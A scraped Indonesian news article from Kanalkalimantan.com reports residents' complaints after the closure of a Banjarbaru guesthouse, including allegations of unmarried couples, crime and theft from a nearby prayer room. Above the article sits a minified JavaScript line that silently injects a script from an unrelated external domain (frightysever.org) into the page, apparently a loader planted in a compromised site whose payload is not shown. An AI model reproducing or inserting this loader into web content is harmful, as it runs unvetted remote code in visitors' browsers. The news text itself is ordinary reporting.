(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Penutupan Penginapan Saudara di Jalan Ahmad Yani Km 33,3 Kelurahan Loktabat Utara, Kecamatan Banjarbaru Utara, Kota Banjarbaru mengundang komentar warga sekitar.
Pasalnya, lokasi penginapan tersebut persis bersebelahan langsung dengan permukiman warga. Bahkan berdekatan dengan sebuah tempat ibadah.
Menurut Rahmadi, Ketua RT 4 RW 2 Kelurahan Loktabat Utara, warga kerap melaporkan kepada dirinya terkait dugaan adanya pasangan bukan suami istri yang melakukan aktivitas di kamar tertutup penginapan tersebut.
“Warga pun tidak berani bereaksi apa-apa karena sudah biasa, setelah itu warga paling melapor sama saya, kalau saya jaga malam selalu saya tegur,” ujar Rahmadi kepada Kanalkalimantan.com, Senin (5/2/2024) sore.
Baca juga: Penginapan Saudara Ditutup, Kerap Jadi Tempat ‘Ngamar’ Muda-Mudi
Menurutnya, dengan banyaknya ditemukan kasus menandakan penginapan tersebut sudah memberikan fasilitas aktivitas yang sangat bebas.
“Jangan lah seperti itu, kalau sebebas-bebasnya tidak bisa juga kita, minimal ada remnya, kalau ini kan sampai ada kasus macam-macam pemerkosaan di bawah umur,” tegas dia.
“Dari beberapa laporan warga juga mengatakan suara sumbang seperti itu kerap ada,” sambungnya.
Menurut dia juga, kawasan RT-nya menjadi rawan kejahatan karena banyak tamu yang datang dari luar untuk menempati penginapan tersebut.
Baca juga: Pemkab Kapuas Siap Bangun MPP, Dua Titik Lokasi Jadi Pilihan
Bahkan beberapa tamu diundang, yang bukan beralamat asli Banjarbaru datang mengobok-ngobok celengan tempat ibadah yang berada di depan penginapan tersebut.
“Karena berdekatan dengan mushola, di mushola juga ada beberapa kali yang singgah ternyata maling, saya kira menunggu tamu atau apa, ternyata celengan mushola dibongkar,” ungkap dia.
Usai kejadian itu pula, dirinya dengan tegas mengusir siapa saja yang terlihat mondar-mandir di kawasan itu namun tidak ber-KTP wilayah itu.
“Karena seandainya ada urusan ke penginapan ya ke penginapan saja, jangan ke kawasan mushola. Malu saya sebagai RT, berbuat macam-macam sampai ke mushola juga,” imbuh dia.
Baca juga: Pengakuan Kakak dan Ipar Fredy Pratama di Sidang Cuci Uang Narkoba
Dengan ditutupnya penginapan tersebut, mewakili warga RT 4, Rahmadi mengharapkan ada pembenahan dari pihak penginapan dan ada persetujuan dari warga jika penginapan tersebut ingin beroperasi lagi.
“Yang jelas setelah penginapan ini ditutup entah pemilik mengolah perizinan lagi atau tata ulang, cuma yang pasti untuk persetujuan warga juga harus ada,” tuntas dia.
Petugas Satpol PP kembali turun ke lokasi, pada Senin (5/2/2024) sore, untuk melakukan pengawasan atas sanksi penutupan diberikan kepada pemilik penginapan.
Terhitung sampai kemarin juga, penginapan yang terletak di dalam sebuah gang itu tidak diperbolehkan melakukan kegiatan operasionalnya. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More
Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More
Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
This website uses cookies.